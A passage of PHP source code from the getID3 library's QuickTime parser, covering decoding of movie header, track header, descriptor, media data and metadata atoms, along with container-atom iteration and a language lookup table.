				$atom_structure['version_number']         = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2)); // hardcoded: 0x00
				$atom_structure['atom_type']              =                           substr($atom_data,  6, 4);        // usually: 'PICT'
				$atom_structure['atom_index']             = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2)); // usually: 0x01

				$atom_structure['modification_date_unix'] = getid3_lib::DateMac2Unix($atom_structure['modification_date']);
				break;


			case 'crgn': // Clipping ReGioN atom
				$atom_structure['region_size']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 2)); // The Region size, Region boundary box,
				$atom_structure['boundary_box']  = getid3_lib::BigEndian2Int(substr($atom_data,  2, 8)); // and Clipping region data fields
				$atom_structure['clipping_data'] =                           substr($atom_data, 10);           // constitute a QuickDraw region.
				break;


			case 'load': // track LOAD settings atom
				$atom_structure['preload_start_time'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
				$atom_structure['preload_duration']   = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
				$atom_structure['preload_flags_raw']  = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
				$atom_structure['default_hints_raw']  = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));

				$atom_structure['default_hints']['double_buffer'] = (bool) ($atom_structure['default_hints_raw'] & 0x0020);
				$atom_structure['default_hints']['high_quality']  = (bool) ($atom_structure['default_hints_raw'] & 0x0100);
				break;


			case 'tmcd': // TiMe CoDe atom
			case 'chap': // CHAPter list atom
			case 'sync': // SYNChronization atom
			case 'scpt': // tranSCriPT atom
			case 'ssrc': // non-primary SouRCe atom
				for ($i = 0; $i < strlen($atom_data); $i += 4) {
					@$atom_structure['track_id'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4));
				}
				break;


			case 'elst': // Edit LiST atom
				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
				for ($i = 0; $i < $atom_structure['number_entries']; $i++ ) {
					$atom_structure['edit_list'][$i]['track_duration'] =   getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 0, 4));
					$atom_structure['edit_list'][$i]['media_time']     =   getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 4, 4));
					$atom_structure['edit_list'][$i]['media_rate']     = getid3_lib::FixedPoint16_16(substr($atom_data, 8 + ($i * 12) + 8, 4));
				}
				break;


			case 'kmat': // compressed MATte atom
				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
				$atom_structure['matte_data_raw'] =               substr($atom_data,  4);
				break;


			case 'ctab': // Color TABle atom
				$atom_structure['color_table_seed']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4)); // hardcoded: 0x00000000
				$atom_structure['color_table_flags']  = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2)); // hardcoded: 0x8000
				$atom_structure['color_table_size']   = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2)) + 1;
				for ($colortableentry = 0; $colortableentry < $atom_structure['color_table_size']; $colortableentry++) {
					$atom_structure['color_table'][$colortableentry]['alpha'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 0, 2));
					$atom_structure['color_table'][$colortableentry]['red']   = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 2, 2));
					$atom_structure['color_table'][$colortableentry]['green'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 4, 2));
					$atom_structure['color_table'][$colortableentry]['blue']  = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 6, 2));
				}
				break;


			case 'mvhd': // MoVie HeaDer atom
				$atom_structure['version']            =   getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']          =   getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
				$atom_structure['creation_time']      =   getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
				$atom_structure['modify_time']        =   getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
				$atom_structure['time_scale']         =   getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
				$atom_structure['duration']           =   getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
				$atom_structure['preferred_rate']     = getid3_lib::FixedPoint16_16(substr($atom_data, 20, 4));
				$atom_structure['preferred_volume']   =   getid3_lib::FixedPoint8_8(substr($atom_data, 24, 2));
				$atom_structure['reserved']           =                             substr($atom_data, 26, 10);
				$atom_structure['matrix_a']           = getid3_lib::FixedPoint16_16(substr($atom_data, 36, 4));
				$atom_structure['matrix_b']           = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4));
				$atom_structure['matrix_u']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 44, 4));
				$atom_structure['matrix_c']           = getid3_lib::FixedPoint16_16(substr($atom_data, 48, 4));
				$atom_structure['matrix_d']           = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4));
				$atom_structure['matrix_v']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 56, 4));
				$atom_structure['matrix_x']           = getid3_lib::FixedPoint16_16(substr($atom_data, 60, 4));
				$atom_structure['matrix_y']           = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4));
				$atom_structure['matrix_w']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 68, 4));
				$atom_structure['preview_time']       =   getid3_lib::BigEndian2Int(substr($atom_data, 72, 4));
				$atom_structure['preview_duration']   =   getid3_lib::BigEndian2Int(substr($atom_data, 76, 4));
				$atom_structure['poster_time']        =   getid3_lib::BigEndian2Int(substr($atom_data, 80, 4));
				$atom_structure['selection_time']     =   getid3_lib::BigEndian2Int(substr($atom_data, 84, 4));
				$atom_structure['selection_duration'] =   getid3_lib::BigEndian2Int(substr($atom_data, 88, 4));
				$atom_structure['current_time']       =   getid3_lib::BigEndian2Int(substr($atom_data, 92, 4));
				$atom_structure['next_track_id']      =   getid3_lib::BigEndian2Int(substr($atom_data, 96, 4));

				if ($atom_structure['time_scale'] == 0) {
					$this->error('Corrupt Quicktime file: mvhd.time_scale == zero');
					return false;
				}
				$atom_structure['creation_time_unix']        = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
				$atom_structure['modify_time_unix']          = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
				$info['quicktime']['time_scale']    = ((isset($info['quicktime']['time_scale']) && ($info['quicktime']['time_scale'] < 1000)) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']);
				$info['quicktime']['display_scale'] = $atom_structure['matrix_a'];
				$info['playtime_seconds']           = $atom_structure['duration'] / $atom_structure['time_scale'];
				break;


			case 'tkhd': // TracK HeaDer atom
				$atom_structure['version']             =   getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']           =   getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
				$atom_structure['creation_time']       =   getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
				$atom_structure['modify_time']         =   getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
				$atom_structure['trackid']             =   getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
				$atom_structure['reserved1']           =   getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
				$atom_structure['duration']            =   getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
				$atom_structure['reserved2']           =   getid3_lib::BigEndian2Int(substr($atom_data, 24, 8));
				$atom_structure['layer']               =   getid3_lib::BigEndian2Int(substr($atom_data, 32, 2));
				$atom_structure['alternate_group']     =   getid3_lib::BigEndian2Int(substr($atom_data, 34, 2));
				$atom_structure['volume']              =   getid3_lib::FixedPoint8_8(substr($atom_data, 36, 2));
				$atom_structure['reserved3']           =   getid3_lib::BigEndian2Int(substr($atom_data, 38, 2));
// http://developer.apple.com/library/mac/#documentation/QuickTime/RM/MovieBasics/MTEditing/K-Chapter/11MatrixFunctions.html
// http://developer.apple.com/library/mac/#documentation/QuickTime/qtff/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-18737
				$atom_structure['matrix_a']            = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4));
				$atom_structure['matrix_b']            = getid3_lib::FixedPoint16_16(substr($atom_data, 44, 4));
				$atom_structure['matrix_u']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 48, 4));
				$atom_structure['matrix_c']            = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4));
				$atom_structure['matrix_d']            = getid3_lib::FixedPoint16_16(substr($atom_data, 56, 4));
				$atom_structure['matrix_v']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 60, 4));
				$atom_structure['matrix_x']            = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4));
				$atom_structure['matrix_y']            = getid3_lib::FixedPoint16_16(substr($atom_data, 68, 4));
				$atom_structure['matrix_w']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 72, 4));
				$atom_structure['width']               = getid3_lib::FixedPoint16_16(substr($atom_data, 76, 4));
				$atom_structure['height']              = getid3_lib::FixedPoint16_16(substr($atom_data, 80, 4));
				$atom_structure['flags']['enabled']    = (bool) ($atom_structure['flags_raw'] & 0x0001);
				$atom_structure['flags']['in_movie']   = (bool) ($atom_structure['flags_raw'] & 0x0002);
				$atom_structure['flags']['in_preview'] = (bool) ($atom_structure['flags_raw'] & 0x0004);
				$atom_structure['flags']['in_poster']  = (bool) ($atom_structure['flags_raw'] & 0x0008);
				$atom_structure['creation_time_unix']  = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
				$atom_structure['modify_time_unix']    = getid3_lib::DateMac2Unix($atom_structure['modify_time']);

				if ($atom_structure['flags']['enabled'] == 1) {
					if (!isset($info['video']['resolution_x']) || !isset($info['video']['resolution_y'])) {
						$info['video']['resolution_x'] = $atom_structure['width'];
						$info['video']['resolution_y'] = $atom_structure['height'];
					}
					$info['video']['resolution_x'] = max($info['video']['resolution_x'], $atom_structure['width']);
					$info['video']['resolution_y'] = max($info['video']['resolution_y'], $atom_structure['height']);
					$info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x'];
					$info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y'];
				} else {
					// see: http://www.getid3.org/phpBB3/viewtopic.php?t=1295
					//if (isset($info['video']['resolution_x'])) { unset($info['video']['resolution_x']); }
					//if (isset($info['video']['resolution_y'])) { unset($info['video']['resolution_y']); }
					//if (isset($info['quicktime']['video']))    { unset($info['quicktime']['video']);    }
				}
				break;


			case 'iods': // Initial Object DeScriptor atom
				// http://www.koders.com/c/fid1FAB3E762903DC482D8A246D4A4BF9F28E049594.aspx?s=windows.h
				// http://libquicktime.sourcearchive.com/documentation/1.0.2plus-pdebian/iods_8c-source.html
				$offset = 0;
				$atom_structure['version']                =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
				$offset += 1;
				$atom_structure['flags_raw']              =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 3));
				$offset += 3;
				$atom_structure['mp4_iod_tag']            =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
				$offset += 1;
				$atom_structure['length']                 = $this->quicktime_read_mp4_descr_length($atom_data, $offset);
				//$offset already adjusted by quicktime_read_mp4_descr_length()
				$atom_structure['object_descriptor_id']   =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2));
				$offset += 2;
				$atom_structure['od_profile_level']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
				$offset += 1;
				$atom_structure['scene_profile_level']    =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
				$offset += 1;
				$atom_structure['audio_profile_id']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
				$offset += 1;
				$atom_structure['video_profile_id']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
				$offset += 1;
				$atom_structure['graphics_profile_level'] =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
				$offset += 1;

				$atom_structure['num_iods_tracks'] = ($atom_structure['length'] - 7) / 6; // 6 bytes would only be right if all tracks use 1-byte length fields
				for ($i = 0; $i < $atom_structure['num_iods_tracks']; $i++) {
					$atom_structure['track'][$i]['ES_ID_IncTag'] =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['track'][$i]['length']       = $this->quicktime_read_mp4_descr_length($atom_data, $offset);
					//$offset already adjusted by quicktime_read_mp4_descr_length()
					$atom_structure['track'][$i]['track_id']     =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 4));
					$offset += 4;
				}

				$atom_structure['audio_profile_name'] = $this->QuicktimeIODSaudioProfileName($atom_structure['audio_profile_id']);
				$atom_structure['video_profile_name'] = $this->QuicktimeIODSvideoProfileName($atom_structure['video_profile_id']);
				break;

			case 'ftyp': // FileTYPe (?) atom (for MP4 it seems)
				$atom_structure['signature'] =                           substr($atom_data,  0, 4);
				$atom_structure['unknown_1'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
				$atom_structure['fourcc']    =                           substr($atom_data,  8, 4);
				break;

			case 'mdat': // Media DATa atom
				// 'mdat' contains the actual data for the audio/video, possibly also subtitles

/* due to lack of known documentation, this is a kludge implementation. If you know of documentation on how mdat is properly structed, please send it to info@getid3.org */

				// first, skip any 'wide' padding, and second 'mdat' header (with specified size of zero?)
				$mdat_offset = 0;
				while (true) {
					if (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x08".'wide') {
						$mdat_offset += 8;
					} elseif (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x00".'mdat') {
						$mdat_offset += 8;
					} else {
						break;
					}
				}

				// check to see if it looks like chapter titles, in the form of unterminated strings with a leading 16-bit size field
				while (($mdat_offset < (strlen($atom_data) - 8))
					&& ($chapter_string_length = getid3_lib::BigEndian2Int(substr($atom_data, $mdat_offset, 2)))
					&& ($chapter_string_length < 1000)
					&& ($chapter_string_length <= (strlen($atom_data) - $mdat_offset - 2))
					&& preg_match('#^([\x00-\xFF]{2})([\x20-\xFF]+)$#', substr($atom_data, $mdat_offset, $chapter_string_length + 2), $chapter_matches)) {
						list($dummy, $chapter_string_length_hex, $chapter_string) = $chapter_matches;
						$mdat_offset += (2 + $chapter_string_length);
						@$info['quicktime']['comments']['chapters'][] = $chapter_string;

						// "encd" atom specifies encoding. In theory could be anything, almost always UTF-8, but may be UTF-16 with BOM (not currently handled)
						if (substr($atom_data, $mdat_offset, 12) == "\x00\x00\x00\x0C\x65\x6E\x63\x64\x00\x00\x01\x00") { // UTF-8
							$mdat_offset += 12;
						}
				}


				if (($atomsize > 8) && (!isset($info['avdataend_tmp']) || ($info['quicktime'][$atomname]['size'] > ($info['avdataend_tmp'] - $info['avdataoffset'])))) {

					$info['avdataoffset'] = $atom_structure['offset'] + 8;                       // $info['quicktime'][$atomname]['offset'] + 8;
					$OldAVDataEnd         = $info['avdataend'];
					$info['avdataend']    = $atom_structure['offset'] + $atom_structure['size']; // $info['quicktime'][$atomname]['offset'] + $info['quicktime'][$atomname]['size'];

					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename);
					$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
					$getid3_temp->info['avdataend']    = $info['avdataend'];
					$getid3_mp3 = new getid3_mp3($getid3_temp);
					if ($getid3_mp3->MPEGaudioHeaderValid($getid3_mp3->MPEGaudioHeaderDecode($this->fread(4)))) {
						$getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false);
						if (!empty($getid3_temp->info['warning'])) {
							foreach ($getid3_temp->info['warning'] as $value) {
								$this->warning($value);
							}
						}
						if (!empty($getid3_temp->info['mpeg'])) {
							$info['mpeg'] = $getid3_temp->info['mpeg'];
							if (isset($info['mpeg']['audio'])) {
								$info['audio']['dataformat']   = 'mp3';
								$info['audio']['codec']        = (!empty($info['mpeg']['audio']['encoder']) ? $info['mpeg']['audio']['encoder'] : (!empty($info['mpeg']['audio']['codec']) ? $info['mpeg']['audio']['codec'] : (!empty($info['mpeg']['audio']['LAME']) ? 'LAME' :'mp3')));
								$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
								$info['audio']['channels']     = $info['mpeg']['audio']['channels'];
								$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
								$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
								$info['bitrate']               = $info['audio']['bitrate'];
							}
						}
					}
					unset($getid3_mp3, $getid3_temp);
					$info['avdataend'] = $OldAVDataEnd;
					unset($OldAVDataEnd);

				}

				unset($mdat_offset, $chapter_string_length, $chapter_matches);
				break;

			case 'free': // FREE space atom
			case 'skip': // SKIP atom
			case 'wide': // 64-bit expansion placeholder atom
				// 'free', 'skip' and 'wide' are just padding, contains no useful data at all

				// When writing QuickTime files, it is sometimes necessary to update an atom's size.
				// It is impossible to update a 32-bit atom to a 64-bit atom since the 32-bit atom
				// is only 8 bytes in size, and the 64-bit atom requires 16 bytes. Therefore, QuickTime
				// puts an 8-byte placeholder atom before any atoms it may have to update the size of.
				// In this way, if the atom needs to be converted from a 32-bit to a 64-bit atom, the
				// placeholder atom can be overwritten to obtain the necessary 8 extra bytes.
				// The placeholder atom has a type of kWideAtomPlaceholderType ( 'wide' ).
				break;


			case 'nsav': // NoSAVe atom
				// http://developer.apple.com/technotes/tn/tn2038.html
				$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
				break;

			case 'ctyp': // Controller TYPe atom (seen on QTVR)
				// http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt
				// some controller names are:
				//   0x00 + 'std' for linear movie
				//   'none' for no controls
				$atom_structure['ctyp'] = substr($atom_data, 0, 4);
				$info['quicktime']['controller'] = $atom_structure['ctyp'];
				switch ($atom_structure['ctyp']) {
					case 'qtvr':
						$info['video']['dataformat'] = 'quicktimevr';
						break;
				}
				break;

			case 'pano': // PANOrama track (seen on QTVR)
				$atom_structure['pano'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
				break;

			case 'hint': // HINT track
			case 'hinf': //
			case 'hinv': //
			case 'hnti': //
				$info['quicktime']['hinting'] = true;
				break;

			case 'imgt': // IMaGe Track reference (kQTVRImageTrackRefType) (seen on QTVR)
				for ($i = 0; $i < ($atom_structure['size'] - 8); $i += 4) {
					$atom_structure['imgt'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4));
				}
				break;


			// Observed-but-not-handled atom types are just listed here to prevent warnings being generated
			case 'FXTC': // Something to do with Adobe After Effects (?)
			case 'PrmA':
			case 'code':
			case 'FIEL': // this is NOT "fiel" (Field Ordering) as describe here: http://developer.apple.com/documentation/QuickTime/QTFF/QTFFChap3/chapter_4_section_2.html
			case 'tapt': // TrackApertureModeDimensionsAID - http://developer.apple.com/documentation/QuickTime/Reference/QT7-1_Update_Reference/Constants/Constants.html
						// tapt seems to be used to compute the video size [http://www.getid3.org/phpBB3/viewtopic.php?t=838]
						// * http://lists.apple.com/archives/quicktime-api/2006/Aug/msg00014.html
						// * http://handbrake.fr/irclogs/handbrake-dev/handbrake-dev20080128_pg2.html
			case 'ctts'://  STCompositionOffsetAID             - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
			case 'cslg'://  STCompositionShiftLeastGreatestAID - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
			case 'sdtp'://  STSampleDependencyAID              - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
			case 'stps'://  STPartialSyncSampleAID             - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
				//$atom_structure['data'] = $atom_data;
				break;

			case "\xA9".'xyz':  // GPS latitude+longitude+altitude
				$atom_structure['data'] = $atom_data;
				if (preg_match('#([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)?/$#i', $atom_data, $matches)) {
					@list($all, $latitude, $longitude, $altitude) = $matches;
					$info['quicktime']['comments']['gps_latitude'][]  = floatval($latitude);
					$info['quicktime']['comments']['gps_longitude'][] = floatval($longitude);
					if (!empty($altitude)) {
						$info['quicktime']['comments']['gps_altitude'][] = floatval($altitude);
					}
				} else {
					$this->warning('QuickTime atom "©xyz" data does not match expected data pattern at offset '.$baseoffset.'. Please report as getID3() bug.');
				}
				break;

			case 'NCDT':
				// http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
				// Nikon-specific QuickTime tags found in the NCDT atom of MOV videos from some Nikon cameras such as the Coolpix S8000 and D5100
				$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 4, $atomHierarchy, $ParseAllPossibleAtoms);
				break;
			case 'NCTH': // Nikon Camera THumbnail image
			case 'NCVW': // Nikon Camera preVieW image
				// http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
				if (preg_match('/^\xFF\xD8\xFF/', $atom_data)) {
					$atom_structure['data'] = $atom_data;
					$atom_structure['image_mime'] = 'image/jpeg';
					$atom_structure['description'] = (($atomname == 'NCTH') ? 'Nikon Camera Thumbnail Image' : (($atomname == 'NCVW') ? 'Nikon Camera Preview Image' : 'Nikon preview image'));
					$info['quicktime']['comments']['picture'][] = array('image_mime'=>$atom_structure['image_mime'], 'data'=>$atom_data, 'description'=>$atom_structure['description']);
				}
				break;
			case 'NCTG': // Nikon - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html#NCTG
				$atom_structure['data'] = $this->QuicktimeParseNikonNCTG($atom_data);
				break;
			case 'NCHD': // Nikon:MakerNoteVersion  - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
			case 'NCDB': // Nikon                   - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
			case 'CNCV': // Canon:CompressorVersion - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Canon.html
				$atom_structure['data'] = $atom_data;
				break;

			case "\x00\x00\x00\x00":
				// some kind of metacontainer, may contain a big data dump such as:
				// mdta keys \005 mdtacom.apple.quicktime.make (mdtacom.apple.quicktime.creationdate ,mdtacom.apple.quicktime.location.ISO6709 $mdtacom.apple.quicktime.software !mdtacom.apple.quicktime.model ilst \01D \001 \015data \001DE\010Apple 0 \002 (data \001DE\0102011-05-11T17:54:04+0200 2 \003 *data \001DE\010+52.4936+013.3897+040.247/ \01D \004 \015data \001DE\0104.3.1 \005 \018data \001DE\010iPhone 4
				// http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt

				$atom_structure['version']   =          getid3_lib::BigEndian2Int(substr($atom_data, 0, 1));
				$atom_structure['flags_raw'] =          getid3_lib::BigEndian2Int(substr($atom_data, 1, 3));
				$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom(substr($atom_data, 4), $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
				//$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
				break;

			case 'meta': // METAdata atom
				// https://developer.apple.com/library/mac/documentation/QuickTime/QTFF/Metadata/Metadata.html

				$atom_structure['version']   =          getid3_lib::BigEndian2Int(substr($atom_data, 0, 1));
				$atom_structure['flags_raw'] =          getid3_lib::BigEndian2Int(substr($atom_data, 1, 3));
				$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
				break;

			case 'data': // metaDATA atom
				static $metaDATAkey = 1; // real ugly, but so is the QuickTime structure that stores keys and values in different multinested locations that are hard to relate to each other
				// seems to be 2 bytes language code (ASCII), 2 bytes unknown (set to 0x10B5 in sample I have), remainder is useful data
				$atom_structure['language'] =                           substr($atom_data, 4 + 0, 2);
				$atom_structure['unknown']  = getid3_lib::BigEndian2Int(substr($atom_data, 4 + 2, 2));
				$atom_structure['data']     =                           substr($atom_data, 4 + 4);
				$atom_structure['key_name'] = @$info['quicktime']['temp_meta_key_names'][$metaDATAkey++];

				if ($atom_structure['key_name'] && $atom_structure['data']) {
					@$info['quicktime']['comments'][str_replace('com.apple.quicktime.', '', $atom_structure['key_name'])][] = $atom_structure['data'];
				}
				break;

			case 'keys': // KEYS that may be present in the metadata atom.
				// https://developer.apple.com/library/mac/documentation/QuickTime/QTFF/Metadata/Metadata.html#//apple_ref/doc/uid/TP40000939-CH1-SW21
				// The metadata item keys atom holds a list of the metadata keys that may be present in the metadata atom.
				// This list is indexed starting with 1; 0 is a reserved index value. The metadata item keys atom is a full atom with an atom type of "keys".
				$atom_structure['version']       = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
				$atom_structure['flags_raw']     = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
				$atom_structure['entry_count']   = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
				$keys_atom_offset = 8;
				for ($i = 1; $i <= $atom_structure['entry_count']; $i++) {
					$atom_structure['keys'][$i]['key_size']      = getid3_lib::BigEndian2Int(substr($atom_data, $keys_atom_offset + 0, 4));
					$atom_structure['keys'][$i]['key_namespace'] =                           substr($atom_data, $keys_atom_offset + 4, 4);
					$atom_structure['keys'][$i]['key_value']     =                           substr($atom_data, $keys_atom_offset + 8, $atom_structure['keys'][$i]['key_size'] - 8);
					$keys_atom_offset += $atom_structure['keys'][$i]['key_size']; // key_size includes the 4+4 bytes for key_size and key_namespace

					$info['quicktime']['temp_meta_key_names'][$i] = $atom_structure['keys'][$i]['key_value'];
				}
				break;

			default:
				$this->warning('Unknown QuickTime atom type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" ('.trim(getid3_lib::PrintHexBytes($atomname)).') at offset '.$baseoffset);
				$atom_structure['data'] = $atom_data;
				break;
		}
		array_pop($atomHierarchy);
		return $atom_structure;
	}

	public function QuicktimeParseContainerAtom($atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) {
//echo 'QuicktimeParseContainerAtom('.substr($atom_data, 4, 4).') @ '.$baseoffset.'<br><br>';
		$atom_structure  = false;
		$subatomoffset  = 0;
		$subatomcounter = 0;
		if ((strlen($atom_data) == 4) && (getid3_lib::BigEndian2Int($atom_data) == 0x00000000)) {
			return false;
		}
		while ($subatomoffset < strlen($atom_data)) {
			$subatomsize = getid3_lib::BigEndian2Int(substr($atom_data, $subatomoffset + 0, 4));
			$subatomname =                           substr($atom_data, $subatomoffset + 4, 4);
			$subatomdata =                           substr($atom_data, $subatomoffset + 8, $subatomsize - 8);
			if ($subatomsize == 0) {
				// Furthermore, for historical reasons the list of atoms is optionally
				// terminated by a 32-bit integer set to 0. If you are writing a program
				// to read user data atoms, you should allow for the terminating 0.
				if (strlen($atom_data) > 12) {
					$subatomoffset += 4;
					continue;
				}
				return $atom_structure;
			}

			$atom_structure[$subatomcounter] = $this->QuicktimeParseAtom($subatomname, $subatomsize, $subatomdata, $baseoffset + $subatomoffset, $atomHierarchy, $ParseAllPossibleAtoms);

			$subatomoffset += $subatomsize;
			$subatomcounter++;
		}
		return $atom_structure;
	}


	public function quicktime_read_mp4_descr_length($data, &$offset) {
		// http://libquicktime.sourcearchive.com/documentation/2:1.0.2plus-pdebian-2build1/esds_8c-source.html
		$num_bytes = 0;
		$length    = 0;
		do {
			$b = ord(substr($data, $offset++, 1));
			$length = ($length << 7) | ($b & 0x7F);
		} while (($b & 0x80) && ($num_bytes++ < 4));
		return $length;
	}


	public function QuicktimeLanguageLookup($languageid) {
		// http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-34353
		static $QuicktimeLanguageLookup = array();
		if (empty($QuicktimeLanguageLookup)) {
			$QuicktimeLanguageLookup[0]     = 'English';
			$QuicktimeLanguageLookup[1]     = 'French';
			$QuicktimeLanguageLookup[2]     = 'German';
			$QuicktimeLanguageLookup[3]     = 'Italian';
			$QuicktimeLanguageLookup[4]     = 'Dutch';
			$QuicktimeLanguageLookup[5]     = 'Swedish';
			$QuicktimeLanguageLookup[6]     = 'Spanish';
			$QuicktimeLanguageLookup[7]     = 'Danish';
			$QuicktimeLanguageLookup[8]     = 'Portuguese';
			$QuicktimeLanguageLookup[9]     = 'Norwegian';
			$QuicktimeLanguageLookup[10]    = 'Hebrew';
			$QuicktimeLanguageLookup[11]    = 'Japanese';
			$QuicktimeLanguageLookup[12]    = 'Arabic';
			$QuicktimeLanguageLookup[13]    = 'Finnish';
			$QuicktimeLanguageLookup[14]    = 'Greek';
			$QuicktimeLanguageLookup[15]    = 'Icelandic';
			$QuicktimeLanguageLookup[16]    = 'Maltese';
			$QuicktimeLanguageLookup[17]    = 'Turkish';
			$QuicktimeLanguageLookup[18]    = 'Croatian';
			$QuicktimeLanguageLookup[19]    = 'Chinese (Traditional)';
			$QuicktimeLanguageLookup[20]    = 'Urdu';
			$QuicktimeLanguageLookup[21]    = 'Hindi';
			$QuicktimeLanguageLookup[22]    = 'Thai';
			$QuicktimeLanguageLookup[23]    = 'Korean';
			$QuicktimeLanguageLookup[24]    = 'Lithuanian';
			$QuicktimeLanguageLookup[25]    = 'Polish';
			$QuicktimeLanguageLookup[26]    = 'Hungarian';
			$QuicktimeLanguageLookup[27]    = 'Estonian';
